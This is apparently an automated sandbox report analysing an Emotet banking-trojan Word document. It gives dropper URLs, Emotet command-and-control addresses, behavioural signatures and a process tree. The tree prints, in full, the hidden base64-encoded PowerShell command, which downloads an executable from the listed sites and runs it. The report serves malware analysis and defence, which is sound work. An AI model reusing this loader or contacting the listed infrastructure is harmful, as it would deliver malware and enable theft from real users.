Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    109s
  • resource
    win7v191014
  • submitted
    07-12-2019 08:00

Sharing

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General

  • Target

    Docs_c3d6e9cced9f71d25309a2240eb8b182.36.doc

  • Sample

    191207-jsmvh632ex

  • SHA256

    819273b637aa3d7db7f8e436d37513443d2eb96b7d449bf11cdd3f1fc221d2b6

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://newtrendmall.store/01-install/bFNiWnVVI/
exe.dropper

http://scammerreviews.com/wp-admin/DSscXHm/
exe.dropper

http://namisaffron.com/v59rni/ZTuaJanco/
exe.dropper

https://www.oodda.com/wp-admin/de4p2ec3-wj4mghjou-15889/
exe.dropper

https://maxbill.devpace.net/Blog/vl01s-3buqcj-0980773041/

Extracted

Family

emotet

C2

172.90.70.168:443

72.69.99.47:80

24.28.178.71:80

172.105.213.30:80

69.30.205.162:7080

50.63.13.135:8080

192.161.190.171:8080

119.159.150.176:443

98.15.140.226:80

190.189.79.73:80

181.44.166.242:80

198.57.217.170:8080

210.224.65.117:80

82.79.244.92:80

72.27.212.209:8080

212.129.14.27:8080

181.47.235.26:993

182.176.116.139:995

142.93.87.198:8080

190.101.87.170:80
rsa_pubkey.plain

Signatures

  • Drops file in System32 directory 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Modifies registry class 136 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_c3d6e9cced9f71d25309a2240eb8b182.36.doc"
    1⤵
    • Drops file in System32 directory
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1120
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden -en JABBAHMAYQB1AGMAbgBhAHEAZQB6AGgAPQAnAEkAcgB3AHkAeABsAHcAdwBtAGMAaAAnADsAJABGAHAAZwB4AGcAbgBwAHQAIAA9ACAAJwAxADEAJwA7ACQAVgBhAHQAbQB6AHEAZABnAG4AagBzAD0AJwBRAG0AZwB1AHUAbABjAHkAZwBqAG8AcwBoACcAOwAkAFUAaABnAGoAbQBiAGoAcQBjAGwAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAcABnAHgAZwBuAHAAdAArACcALgBlAHgAZQAnADsAJABPAHAAdAB0AHcAeQBmAHEAbABuAGgAZAA9ACcARABuAGcAeQBwAGcAagBnACcAOwAkAFAAeQBwAGsAegB4AGoAdAB3AD0ALgAoACcAbgBlAHcALQAnACsAJwBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAFcAZQBiAEMAbABpAEUAbgBUADsAJABCAGQAaABwAHgAZwBsAHkAPQAnAGgAdAB0AHAAOgAvAC8AbgBlAHcAdAByAGUAbgBkAG0AYQBsAGwALgBzAHQAbwByAGUALwAwADEALQBpAG4AcwB0AGEAbABsAC8AYgBGAE4AaQBXAG4AVgBWAEkALwAqAGgAdAB0AHAAOgAvAC8AcwBjAGEAbQBtAGUAcgByAGUAdgBpAGUAdwBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBEAFMAcwBjAFgASABtAC8AKgBoAHQAdABwADoALwAvAG4AYQBtAGkAcwBhAGYAZgByAG8AbgAuAGMAbwBtAC8AdgA1ADkAcgBuAGkALwBaAFQAdQBhAEoAYQBuAGMAbwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbwBvAGQAZABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBkAGUANABwADIAZQBjADMALQB3AGoANABtAGcAaABqAG8AdQAtADEANQA4ADgAOQAvACoAaAB0AHQAcABzADoALwAvAG0AYQB4AGIAaQBsAGwALgBkAGUAdgBwAGEAYwBlAC4AbgBlAHQALwBCAGwAbwBnAC8AdgBsADAAMQBzAC0AMwBiAHUAcQBjAGoALQAwADkAOAAwADcANwAzADAANAAxAC8AJwAuACIAUwBwAGAAbABpAFQAIgAoACcAKgAnACkAOwAkAE8AZABxAG8AcQBlAHUAcwB2AGkAPQAnAFEAeQBjAHgAbAB3AHUAZwBuAGgAcwB2AGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAeAB3AGoAZgB2AHYAdABnAGgAYwAgAGkAbgAgACQAQgBkAGgAcAB4AGcAbAB5ACkAewB0AHIAeQB7ACQAUAB5AHAAawB6AHgAagB0AHcALgAiAEQAYABvAHcATgBsAG8AQQBkAGAARgBgAGkATABFACIAKAAkAFkAeAB3AGoAZgB2AHYAdABnAGgAYwAsACAAJABVAGgAZwBqAG0AYgBqAHEAYwBsACkAOwAkAFQAcgBwAGwAaQBoAGcAZgB0AD0AJwBaAGgAdABwAGkAYgBrAGYAdwBpAHcAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABVAGgAZwBqAG0AYgBqAHEAYwBsACkALgAiAGwAZQBuAGAARwBgAFQASAAiACAALQBnAGUAIAAzADQAMAA4ADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAQQByAHQAIgAoACQAVQBoAGcAagBtAGIAagBxAGMAbAApADsAJABMAGIAegBoAGsAdQBsAHUAdgBhAGEAPQAnAEkAcQBrAHQAaQBwAHUAdwBuAG4AeAB6AHIAJwA7AGIAcgBlAGEAawA7ACQAWgBhAHgAegB1AHkAeABmAGcAeABqAG0AZgA9ACcAUwBvAGMAZQBjAHAAbQBvAG4AYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAG8AYgBpAHMAagBuAHUAdgBkAGIAPQAnAEwAbABkAHYAegBkAHAAcgBjAHUAagB3AG0AJwA=
    1⤵
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Users\Admin\11.exe
      "C:\Users\Admin\11.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:240
      • C:\Users\Admin\11.exe
        --47f9ceaa
        3⤵
        • Drops file in System32 directory
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Suspicious use of SetWindowsHookEx
        PID:884
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "3583843111383512432-1113263077-175300447714921053544202082261384648662-1637525138"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:2004
  • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
    "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
    1⤵
      PID:1476
    • C:\Windows\SysWOW64\acquiretrns.exe
      "C:\Windows\SysWOW64\acquiretrns.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1504
      • C:\Windows\SysWOW64\acquiretrns.exe
        --7a3bd08f
        2⤵
        • Drops file in System32 directory
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Suspicious use of SetWindowsHookEx
        • Suspicious behavior: EnumeratesProcesses
        PID:1112

    Network

    MITRE ATT&CK Enterprise v6

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    Downloads

    • C:\Users\Admin\11.exe
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    • C:\Users\Admin\11.exe
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    • C:\Users\Admin\11.exe
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    • C:\Windows\SysWOW64\acquiretrns.exe
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    • C:\Windows\SysWOW64\acquiretrns.exe
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    • memory/240-10-0x0000000000520000-0x0000000000537000-memory.dmp

      Filesize

      92KB

      Download

    • memory/884-13-0x00000000002D0000-0x00000000002E7000-memory.dmp

      Filesize

      92KB

      Download

    • memory/884-14-0x0000000000400000-0x0000000000451000-memory.dmp

      Filesize

      324KB

      Download

    • memory/1112-19-0x0000000000400000-0x0000000000451000-memory.dmp

      Filesize

      324KB

      Download

    • memory/1112-18-0x0000000000270000-0x0000000000287000-memory.dmp

      Filesize

      92KB

      Download

    • memory/1120-3-0x0000000006356000-0x000000000637C000-memory.dmp

      Filesize

      152KB

      Download

    • memory/1120-4-0x0000000009110000-0x0000000009114000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1120-6-0x000000000637C000-0x0000000006380000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1120-0-0x0000000006160000-0x0000000006164000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1120-5-0x000000000637C000-0x0000000006380000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1120-2-0x00000000061A3000-0x000000000624C000-memory.dmp

      Filesize

      676KB

      Download

    • memory/1120-1-0x00000000061A3000-0x000000000624C000-memory.dmp

      Filesize

      676KB

      Download

    • memory/1120-8-0x0000000002180000-0x0000000002181000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1120-7-0x000000000637C000-0x0000000006380000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1504-16-0x0000000000250000-0x0000000000267000-memory.dmp

      Filesize

      92KB

      Download